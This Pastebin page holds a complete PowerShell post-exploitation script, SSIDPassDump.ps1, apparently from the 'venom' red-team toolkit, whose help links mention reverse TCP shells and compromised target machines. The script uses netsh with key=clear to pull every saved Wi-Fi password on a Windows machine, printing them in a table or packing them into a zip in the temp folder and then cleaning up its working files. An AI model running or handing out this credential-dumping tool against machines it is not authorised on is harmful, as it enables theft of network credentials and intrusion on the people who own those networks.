Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <#
- .SYNOPSIS
- cmdlet to dump SSID Wifi profiles passwords
- Author: r00t-3xp10it (SSA RedTeam @2020)
- Tested Under: Windows 10 - Build 18363
- Required Dependencies: netsh
- Optional Dependencies: none
- PS cmdlet Dev version: v1.0
- .DESCRIPTION
- cmdlet to dump SSID Wifi profiles passwords into terminal windows
- or dump credentials into a zip file under $Env:TMP directory.
- .EXAMPLE
- PS C:\> Get-Help .\SSIDPassDump.ps1 -full
- Access This cmdlet Comment_Based_Help
- .EXAMPLE
- PS C:\> .\SSIDPassDump.ps1 -FileName MyDump.zip
- This parameter can only be used with [<-DumpType Zip>]
- parameter to be abble to rename the zip dump file
- .EXAMPLE
- PS C:\> .\SSIDPassDump.ps1 -DumpType Terminal
- Display SSID Wifi passwords dump into terminal windows
- .EXAMPLE
- PS C:\> .\SSIDPassDump.ps1 -DumpType Zip
- Dump SSID Wifi profiles passwords into a zip file
- .EXAMPLE
- PS C:\> .\SSIDPassDump.ps1 -DumpType Zip -Storage $Env:USERPROFILE\Desktop
- Dump SSID Wifi profiles passwords into a zip file and
- store zip file under the sellected directory.
- .INPUTS
- None. You cannot pipe objects into webserver.ps1
- .OUTPUTS
- This cmdlet does not produce outputs if used
- [< -DumpType Zip >] cmdlet parameter
- .LINK
- https://github.com/r00t-3xp10it/venom
- https://github.com/r00t-3xp10it/venom/tree/master/aux/webserver.ps1
- https://github.com/r00t-3xp10it/venom/wiki/CmdLine-&-Scripts-for-reverse-TCP-shell-addicts
- https://github.com/r00t-3xp10it/venom/wiki/cmdlet-to-download-files-from-compromised-target-machine
- #>
- ## Non Positional cmdlet named parameters
- [CmdletBinding(PositionalBinding=$false)] param(
- [string]$FileName="SSIDump.zip",
- [string]$DumpType="Terminal",
- [string]$Storage="$Env:TMP"
- )
- $Initial_Path = (pwd).Path
- ## Capture wlan interface passwords (SSID Keys)
- If($DumpType -ieq "Terminal"){
- ## Display SSID Wifi passwords dump into terminal windows
- $profiles = netsh wlan show profiles|findstr /C:"All User Profile"
- $DataParse = $profiles -replace 'All User Profile :','' -replace ' ',''
- ## Create Data Table for output
- $mytable = new-object System.Data.DataTable
- $mytable.Columns.Add("SSID name") | Out-Null
- $mytable.Columns.Add("Password") | Out-Null
- foreach($Token in $DataParse){
- $DataToken = netsh wlan show profile name="$Token" key=clear|findstr /C:"Key Content"
- $Key = $DataToken -replace 'Key Content : ','' -replace ' ',''
- ## Put results in the data table
- $mytable.Rows.Add("$Token",
- "$Key") | Out-Null
- }
- ## Display Table
- $mytable|Format-Table -AutoSize
- }Else{
- ## Dump SSID Wifi profiles passwords into a zip file
- If(-not(Test-Path "$Storage\SSIDump")){New-Item "$Storage\SSIDump" -ItemType Directory -Force|Out-Null}
- cd $Storage\SSIDump;netsh wlan export profile folder=$Storage\SSIDump key=clear|Out-Null
- Compress-Archive -Path "$Storage\SSIDump" -DestinationPath "$Storage\$FileName"
- Write-Host "SSID Dump stored under: $Storage\$FileName" -ForeGroundColor Yellow
- cd $Initial_Path
- }
- If(Test-Path "$Storage\SSIDump"){Start-Sleep -Seconds 2;Remove-Item "$Storage\SSIDump" -Recurse -Force|Out-Null}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement